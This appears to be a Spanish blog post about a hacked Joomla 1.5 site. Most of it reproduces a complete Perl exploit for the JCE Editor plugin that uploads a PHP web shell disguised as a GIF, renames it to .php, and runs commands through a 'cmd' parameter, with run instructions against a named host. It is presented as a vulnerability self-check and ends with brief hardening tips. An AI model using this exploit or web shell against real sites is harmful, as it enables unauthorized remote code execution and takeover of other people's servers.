En muchas ocasiones, trabajar con un gestor de contenidos facilita bastante la labor de generar una nueva aplicación web mediante la cual queremos ofrecer una serie de información en Internet, con un panel de administración que pueda ser usado por cualquier persona con un mínimo conocimiento de la informática.

Joomla es uno de los gestores de contenido que más ha evolucionado en los últimos años, actualmente se encuentra en su versión 3.0, pero siguen utilizándose sus dos cores anteriores 2.5 y 1.5.

El problema que existe en este tipo de gestores de contenido es que, al existir una comunidad tan grande trabajando de forma gratuita para su mejora, también existen muchas otras personas intentando aprovechar cualquier bug para poder hackear sitios webs con este sistema.

Explicado esto, os quería comentar uno de los casos recientes que he visto.

Joomla hackeado: Hacked By Iori From Mazagan {Morocco}

Entre los terroristas informáticos se encuentra un equipo de iraquíes que se dedican a aprovechar exploits de diferentes CMS (Content Management System) , buscar quién los utiliza y literalmente hackearlos.

Aquí tenéis un listado de webs atacas por este grupo:

Listado

 

¿Cómo han hackeado mi joomla?

Yo os voy a hablar de mi experiencia personal, concretamente ha sido con el gestor de contenidos Joomla  en su versión 1.5Generalmente el propio Joomla tiene muy bien tapados los agujeros posibles, pero sus plugins, módulos y componentes pueden ser una buena brecha para cualquier hack.

En esta ocasión el problema surgió con el plugin JCE Editor. Este plugin facilita la edición de artículos y contenido en general, aportando un editor WYSIWYG bastante más completo del que trae el propio Joomla. Si tienes una versión 2.0.10 o inferior, es muy probable que tu Joomla pueda sufrir un hackeo.

Para comprobar nosotros mismos si somos vulnerables, a continuación voy a explicar cómo ejecutar un script en perl y a continuación mis recomendaciones para solventar dicho problema.

  1. Creamos el script en perl con el siguiente código:
    ######################################### http://www.bugreport.ir ########################################
    #
    #                     AmnPardaz Security Research & Penetration Testing Group
    #
    #
    # Title:                  Exploit for JCE Joomla Extension (Auto Shell Uploader) V0.1 - PHP Version
    # Vendor:                 http://www.joomlacontenteditor.net
    # Vulnerable Version:     JCE 2.0.10 (prior versions also may be affected)
    # Exploitation:           Remote with browser
    # Original Advisory:      http://www.bugreport.ir/index_78.htm
    # Vendor supplied patch:  http://www.joomlacontenteditor.net/news/item/jce-2011-released
    # CVSS2 Base Score:       (AV:N/AC:L/Au:N/C:P/I:P/A:P) --> 7.5        
    # Coded By:               iraqi h4ck
    ###################################################################################################
    use IO::Socket;
    use LWP::Simple;
    system("cls");
    if(!defined($ARGV[0])) {
    print "\n\n\t.::. Exploit for JCE Joomla Extension (Auto Shell Uploader) V0.1 .::.\n\n";
    print "\t||||        Coded by: iraqi h4ck (admin[@]0-Day[dot]net)      ||||\n\n";
    print "\t+--> Usage:   perl $0 <host>        <--+\n";
    print "\t+--> Example: perl $0 localhost     <--+\n\n";
    exit; }
    print "\n\n\t.::. Exploit for JCE Joomla Extension (Auto Shell Uploader) V0.1 .::.\n\n";
    print "\t||||        Coded by: iraqi h4ck (admin[@]0-Day[dot]net)      ||||\n\n";
    $TARGET = $ARGV[0];
    $PORT   = "80";
    $SCRIPT = "/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20";
    $SHELL  = "/images/stories/0day.php?cmd=";
    $HTTP   = "http://";
    
    $header1G = "GET $SCRIPT HTTP/1.1";
    $header1H = "HEAD /images/stories/0day.php HTTP/1.1";
    $header1P = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1";
    $header1P2 = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1";
    $header2 = "Host: $TARGET";
    $header3 = "User-Agent: BOT/0.1 (BOT for JCE)";
    $header4 = "Content-Type: multipart/form-data; boundary=---------------------------41184676334";
    $header5 = "Content-Length: 769";
    $header6 = "-----------------------------41184676334";
    $header7 = 'Content-Disposition: form-data; name="upload-dir"';
    $header8 = '/';
    $header9 = 'Content-Disposition: form-data; name="Filedata"; filename=""';
    $header10 = 'Content-Type: application/octet-stream';
    $header11 = 'Content-Disposition: form-data; name="upload-overwrite"';
    $header12 = "0";
    $header13 = 'Content-Disposition: form-data; name="Filedata"; filename="0day.gif"';
    $header14 = 'Content-Type: image/gif';
    $header15 = 'GIF89aG';
    $header16 = "<? system($_GET['cmd']);exit; ?>";
    $header17 = 'Content-Disposition: form-data; name="upload-name"';
    $header18 = '0day';
    $header19 = 'Content-Disposition: form-data; name="action"';
    $header20 = 'upload';
    $header21 = "-----------------------------41184676334--";
    $header22 = 'X-Request: JSON';
    $header23 = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8';
    $header25 = 'json={"fn":"folderRename","args":["/0day.gif","0day.php"]}';
    $header24 = "Content-Length: ".length($header25)."";
    
    ############################################### Packet 1 --> Checking Exploitability #########################################################
    print "\n[*] Checking Exploitability ...\n\n";
    sleep 2;
    $pageURL=$TARGET.$SCRIPT;
    $simplePage=get($pageURL);
    @arr = ("2.0.11</title","2.0.12</title","2.0.13</title","2.0.14</title","2.0.15</title","1.5.7.10</title","1.5.7.11</title","1.5.7.12</title","1.5.7.13</title","1.5.7.14</title");
    while (($count!=10) && ($die != 1)) {
    foreach $arr(@arr){
    if ($simplePage =~ m/$arr/) {
    print "\n[*] Target patched.\n\n";
    $die = 1;
    } else {
    $count++;
    }
    }
    }
    if ($count==5) {print "[*] Target is exploitable.\n\n"};
    ############################################### Packet 2 --> Uploading shell as a gif file #########################################################
    $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET" ,PeerPort=>"$PORT")
    || die "Can't connect to $TARGET";
    print "[*] Trying to upload 0day.gif ...\n\n";
    print $remote "$header1P\n$header2\n$header3\n$header4\n$header5\n\n$header6\n$header7\n\n$header8\n$header6\n$header9\n$header10\n\n\n$header6\n$header11\n\n$header12\n$header6\n$header13\n$header14\n\n$header15\n$header16\n$header6\n$header17\n\n$header18\n$header6\n$header19\n\n$header20\n$header21\n\n";
    sleep 2;
    ############################################### Packet 3 --> Change Extension from .gif to .php #########################################################
    print "[*] Trying to change extension from .gif to .php ...\n\n";
    $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET" ,PeerPort=>"$PORT")
    || die "Can't connect to $TARGET";
    print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n";
    ############################################### Packet 4 --> Check for successfully uploaded #########################################################
    $shellurl=$TARGET.$SHELL;
    $output=get($shellurl);
    while ($output = <$remote> ) {
    if ($output =~ /200 OK/) {
    print "[+] 0day.php was successfully uploaded\n\n";
    print "[+] Path:".$TARGET.$SHELL."id\n";
    }}
  2. Ejecutamos dicho fichero en nuestro terminal de la siguiente forma:
    perl joomlahack.pl www.webquesea.com
  3. Comprobamos el mensaje de salida:
    hackeo joomla
  4. Y ahora podríamos acceder al enlace http://www.webquesea.com/images/stories/0day.php?cmd=id y si obtenemos un mensaje como el siguiente:
    proof
    Significaría que nuestro joomla puede ser hackeado, de manera que, pueden subir cualquier tipo de fichero al servidor y ejecutarlo.

¿Cómo podemos evitar un hackeo?

Bueno, hay distintas formas de hacerlo, principalmente aconsejo lo siguiente:

  • Restringir bien las reglas del fichero .htaccess
  • Cambiar el prefijo de las tablas de joomla que viene por defecto jos_ por cualquier otro diferente.
  • Actualizar todos los plugins que tengamos y aplicar los parches de Joomla , teniendo siempre el último instalado.
  • Password protect your administrative area. Proteger la zona de administración con una clave adicional (por ejemplo mediante .htaccess y .htpasswd )

Como idea, en los directorios images, includes, media introduciría un .htaccess con el siguiente contenido:

# Asegurar los directorios deshabilitando la ejecución de cualquier tipo de escript con las siguientes extensiones
AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi
Options -ExecCGI

 

Recomiendo los siguientes enlaces:

http://www.bowlerhat.co.uk/archive/adding-additional-rewrite-rules-to-joomla-htaccess/

http://www.siteground.com/tutorials/joomla15/joomla_security.htm

http://www.webmasterworld.com/content_management/4274518.htm